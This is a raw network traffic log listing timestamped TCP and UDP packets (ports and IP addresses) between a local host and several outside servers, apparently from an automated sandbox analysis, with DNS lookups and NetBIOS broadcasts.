Oct 10, 2024 10:14:19.026176929 CEST	443	64873	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.026218891 CEST	64873	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.026223898 CEST	443	64873	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.028408051 CEST	64879	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.028460026 CEST	443	64879	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.028548956 CEST	64879	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.028692007 CEST	64879	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.028707027 CEST	443	64879	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.030818939 CEST	80	64874	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:19.030860901 CEST	80	64874	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:19.030909061 CEST	64874	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:19.031311035 CEST	64874	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:19.031467915 CEST	64874	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:19.086159945 CEST	443	64875	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.091563940 CEST	64875	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.091582060 CEST	443	64875	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.092406034 CEST	64875	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.092430115 CEST	443	64875	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.194073915 CEST	443	64875	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.194250107 CEST	443	64875	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.194303036 CEST	64875	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.194437981 CEST	64875	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.194454908 CEST	443	64875	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.194468975 CEST	64875	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.194473028 CEST	443	64875	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.197784901 CEST	64880	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.197834969 CEST	443	64880	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.197942019 CEST	64880	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.198092937 CEST	64880	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.198108912 CEST	443	64880	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.229432106 CEST	443	64876	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.233215094 CEST	64876	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.233299017 CEST	443	64876	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.233613968 CEST	64876	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.233629942 CEST	443	64876	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.340436935 CEST	443	64876	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.340512991 CEST	443	64876	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.340584993 CEST	64876	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.340629101 CEST	443	64876	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.340694904 CEST	64876	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.341034889 CEST	64876	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.341078043 CEST	443	64876	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.341120958 CEST	64876	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.341140032 CEST	443	64876	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.672966957 CEST	443	64877	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.673502922 CEST	64877	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.673527956 CEST	443	64877	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.674084902 CEST	64877	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.674091101 CEST	443	64877	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.675318956 CEST	443	64879	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.678781033 CEST	64879	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.678848028 CEST	443	64879	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.679254055 CEST	64879	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.679275990 CEST	443	64879	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.696630001 CEST	443	64878	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.697096109 CEST	64878	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.697173119 CEST	443	64878	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.697731972 CEST	64878	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.697747946 CEST	443	64878	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.746576071 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:19.751485109 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:19.786184072 CEST	443	64877	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.786391973 CEST	443	64877	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.786488056 CEST	64877	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.786627054 CEST	64877	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.786664009 CEST	443	64877	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.786691904 CEST	64877	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.786709070 CEST	443	64877	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.787863970 CEST	443	64879	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.788029909 CEST	443	64879	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.788105965 CEST	64879	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.788177013 CEST	64879	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.788177013 CEST	64879	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.788213015 CEST	443	64879	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.788234949 CEST	443	64879	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.811343908 CEST	443	64878	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.811444998 CEST	443	64878	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.811506987 CEST	64878	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.811681986 CEST	64878	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.811723948 CEST	443	64878	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.811753988 CEST	64878	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.811770916 CEST	443	64878	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.865475893 CEST	443	64880	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.866144896 CEST	64880	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.866177082 CEST	443	64880	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.866727114 CEST	64880	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.866739035 CEST	443	64880	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.923496008 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:19.923546076 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:19.928047895 CEST	64881	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:19.928117037 CEST	443	64881	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:19.928177118 CEST	64881	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:19.928479910 CEST	64881	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:19.928498983 CEST	443	64881	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:19.974746943 CEST	443	64880	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.974832058 CEST	443	64880	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.974947929 CEST	64880	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.975065947 CEST	64880	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.975084066 CEST	443	64880	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.975096941 CEST	64880	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.975105047 CEST	443	64880	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:20.560144901 CEST	443	64881	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:20.560245991 CEST	64881	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:20.608814001 CEST	64881	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:20.608879089 CEST	443	64881	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:20.609193087 CEST	64881	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:20.609210968 CEST	443	64881	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:20.859975100 CEST	443	64881	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:20.860037088 CEST	443	64881	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:20.860132933 CEST	64881	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:20.898720980 CEST	64881	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:20.898787022 CEST	443	64881	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:20.898832083 CEST	64881	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:20.898889065 CEST	64881	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:21.577814102 CEST	64882	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:21.582973957 CEST	80	64882	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:21.584214926 CEST	64882	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:21.586918116 CEST	64882	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:21.591893911 CEST	80	64882	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:22.307805061 CEST	80	64882	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:22.307837963 CEST	80	64882	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:22.307882071 CEST	64882	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:22.307913065 CEST	64882	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:22.308825970 CEST	64882	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:22.308859110 CEST	64882	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:22.717430115 CEST	64883	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:22.722348928 CEST	80	64883	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:22.722443104 CEST	64883	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:22.724083900 CEST	64883	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:22.728904009 CEST	80	64883	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:23.595453978 CEST	80	64883	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:23.595479012 CEST	80	64883	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:23.598573923 CEST	64883	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:23.632282019 CEST	64883	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:23.632282019 CEST	64883	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:24.508666992 CEST	64884	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:24.583053112 CEST	80	64884	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:24.583223104 CEST	64884	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:24.583368063 CEST	64884	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:24.588129997 CEST	80	64884	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:25.292859077 CEST	80	64884	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:25.292881966 CEST	80	64884	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:25.292948008 CEST	64884	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:25.292948008 CEST	64884	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:25.293277025 CEST	64884	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:25.293314934 CEST	64884	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:25.962337017 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:25.967236042 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:26.139231920 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:26.142585993 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:26.157537937 CEST	64885	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:26.157588959 CEST	443	64885	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:26.157917023 CEST	64885	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:26.158561945 CEST	64885	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:26.158575058 CEST	443	64885	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:26.799650908 CEST	443	64885	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:26.799779892 CEST	64885	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:26.800228119 CEST	64885	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:26.800236940 CEST	443	64885	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:26.800539970 CEST	64885	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:26.800544977 CEST	443	64885	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:27.099806070 CEST	443	64885	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:27.099896908 CEST	64885	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:27.099935055 CEST	443	64885	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:27.099978924 CEST	64885	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:27.099981070 CEST	443	64885	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:27.100087881 CEST	64885	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:27.100087881 CEST	64885	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:27.100128889 CEST	64885	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:27.384309053 CEST	64886	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:27.717905998 CEST	80	64886	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:27.718010902 CEST	64886	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:27.718352079 CEST	64886	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:27.723186016 CEST	80	64886	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:28.451669931 CEST	80	64886	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:28.451699018 CEST	80	64886	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:28.452183962 CEST	64886	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:28.452183962 CEST	64886	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:28.453115940 CEST	64886	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:28.457382917 CEST	80	64886	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:28.457530975 CEST	64886	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:28.792522907 CEST	64887	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:28.797631025 CEST	80	64887	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:28.801496983 CEST	64887	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:28.801660061 CEST	64887	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:28.806504965 CEST	80	64887	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:29.528273106 CEST	80	64887	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:29.528311014 CEST	80	64887	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:29.528362036 CEST	64887	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:29.528362989 CEST	64887	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:29.528851986 CEST	64887	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:29.528851986 CEST	64887	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:29.901801109 CEST	64888	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:29.906785011 CEST	80	64888	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:29.910717010 CEST	64888	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:29.914607048 CEST	64888	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:29.919466972 CEST	80	64888	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:30.625318050 CEST	80	64888	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:30.625345945 CEST	80	64888	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:30.626282930 CEST	64888	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:30.632514000 CEST	64888	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:30.632575989 CEST	64888	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:31.898283005 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:31.903352976 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:32.075472116 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:32.075805902 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:32.085105896 CEST	64889	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:32.085160017 CEST	443	64889	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:32.085356951 CEST	64889	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:32.088974953 CEST	64889	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:32.088993073 CEST	443	64889	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:32.720663071 CEST	443	64889	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:32.720802069 CEST	64889	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:32.722147942 CEST	64889	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:32.722168922 CEST	443	64889	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:32.722589016 CEST	64889	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:32.722600937 CEST	443	64889	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:33.016571045 CEST	443	64889	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:33.016659021 CEST	443	64889	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:33.016674042 CEST	64889	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:33.016735077 CEST	64889	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:33.039695024 CEST	64889	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:33.039737940 CEST	443	64889	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:33.039757967 CEST	64889	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:33.039822102 CEST	64889	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:33.931881905 CEST	64890	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:34.101227999 CEST	80	64890	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:34.101355076 CEST	64890	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:34.101705074 CEST	64890	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:34.106740952 CEST	80	64890	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:34.823453903 CEST	80	64890	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:34.823517084 CEST	80	64890	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:34.823563099 CEST	64890	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:34.823617935 CEST	64890	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:34.826961040 CEST	64890	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:34.827075958 CEST	64890	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:35.174650908 CEST	64891	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:35.377629042 CEST	80	64891	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:35.377778053 CEST	64891	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:35.378067970 CEST	64891	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:35.384556055 CEST	80	64891	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:36.105335951 CEST	80	64891	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:36.105365992 CEST	80	64891	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:36.105564117 CEST	64891	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:36.196985006 CEST	64891	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:36.197073936 CEST	64891	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:36.202441931 CEST	80	64891	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:36.202656031 CEST	64891	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:37.265340090 CEST	64892	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:37.270740032 CEST	80	64892	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:37.270823956 CEST	64892	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:37.272298098 CEST	64892	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:37.278425932 CEST	80	64892	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:38.003484964 CEST	80	64892	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:38.003539085 CEST	80	64892	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:38.003568888 CEST	64892	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:38.003691912 CEST	64892	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:38.004069090 CEST	64892	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:38.004106998 CEST	64892	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:38.450176001 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:38.455183983 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:38.628032923 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:38.628134012 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:38.638607979 CEST	64893	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:38.638663054 CEST	443	64893	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:38.638772964 CEST	64893	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:38.639113903 CEST	64893	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:38.639132023 CEST	443	64893	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:39.271303892 CEST	443	64893	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:39.273371935 CEST	64893	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:39.273946047 CEST	64893	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:39.273960114 CEST	443	64893	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:39.274200916 CEST	64893	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:39.274208069 CEST	443	64893	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:39.462475061 CEST	443	64893	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:39.462552071 CEST	64893	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:39.462559938 CEST	443	64893	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:39.462651014 CEST	64893	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:39.462663889 CEST	443	64893	51.81.194.202	192.168.2.4
Oct 10, 2024 10:14:39.462677002 CEST	64893	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:14:39.462712049 CEST	64893	443	192.168.2.4	51.81.194.202

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 10, 2024 10:12:36.109025002 CEST	63685	53	192.168.2.4	1.1.1.1
Oct 10, 2024 10:12:36.141796112 CEST	53	63685	1.1.1.1	192.168.2.4
Oct 10, 2024 10:12:38.648356915 CEST	56606	53	192.168.2.4	1.1.1.1
Oct 10, 2024 10:12:38.655303001 CEST	53	56606	1.1.1.1	192.168.2.4
Oct 10, 2024 10:12:39.534888983 CEST	53061	53	192.168.2.4	1.1.1.1
Oct 10, 2024 10:12:39.559216022 CEST	53	53061	1.1.1.1	192.168.2.4
Oct 10, 2024 10:12:39.705157995 CEST	63147	53	192.168.2.4	1.1.1.1
Oct 10, 2024 10:12:39.714432001 CEST	53	63147	1.1.1.1	192.168.2.4
Oct 10, 2024 10:12:39.915762901 CEST	138	138	192.168.2.4	192.168.2.255
Oct 10, 2024 10:12:39.915762901 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:12:40.651335001 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:12:41.416831017 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:12:41.957696915 CEST	65009	53	192.168.2.4	1.1.1.1
Oct 10, 2024 10:12:41.969110966 CEST	53	65009	1.1.1.1	192.168.2.4
Oct 10, 2024 10:12:43.182662010 CEST	138	138	192.168.2.4	192.168.2.255
Oct 10, 2024 10:12:43.182717085 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:12:43.932475090 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:12:44.306910992 CEST	64272	53	192.168.2.4	1.1.1.1
Oct 10, 2024 10:12:44.471040964 CEST	53	64272	1.1.1.1	192.168.2.4
Oct 10, 2024 10:12:44.698103905 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:12:45.767725945 CEST	56831	53	192.168.2.4	1.1.1.1
Oct 10, 2024 10:12:46.467246056 CEST	138	138	192.168.2.4	192.168.2.255
Oct 10, 2024 10:12:46.467246056 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:12:46.760664940 CEST	56831	53	192.168.2.4	1.1.1.1
Oct 10, 2024 10:12:46.978904009 CEST	53	56831	1.1.1.1	192.168.2.4
Oct 10, 2024 10:12:46.982888937 CEST	53	56831	1.1.1.1	192.168.2.4
Oct 10, 2024 10:12:47.229636908 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:12:47.673161983 CEST	53459	53	192.168.2.4	1.1.1.1
Oct 10, 2024 10:12:47.979348898 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:12:48.051311016 CEST	53	53459	1.1.1.1	192.168.2.4
Oct 10, 2024 10:12:49.745208979 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:12:50.510602951 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:12:51.260620117 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:12:51.643307924 CEST	55273	53	192.168.2.4	1.1.1.1
Oct 10, 2024 10:12:51.650093079 CEST	53	55273	1.1.1.1	192.168.2.4
Oct 10, 2024 10:12:54.166800976 CEST	138	138	192.168.2.4	192.168.2.255
Oct 10, 2024 10:12:55.226265907 CEST	138	138	192.168.2.4	192.168.2.255
Oct 10, 2024 10:12:55.226294041 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:12:55.982419014 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:12:56.745031118 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:12:58.526304007 CEST	138	138	192.168.2.4	192.168.2.255
Oct 10, 2024 10:12:58.526423931 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:12:58.896295071 CEST	60758	53	192.168.2.4	1.1.1.1
Oct 10, 2024 10:12:58.982382059 CEST	53	60758	1.1.1.1	192.168.2.4
Oct 10, 2024 10:12:59.291927099 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:00.057492971 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:01.838969946 CEST	138	138	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:01.839097023 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:02.588773966 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:03.354377031 CEST	137	137	192.168.2.4	192.168.2.255
Oct 10, 2024 10:13:04.268166065 CEST	53	59178	162.159.36.2	192.168.2.4
Oct 10, 2024 10:13:04.764357090 CEST	58146	53	192.168.2.4	1.1.1.1
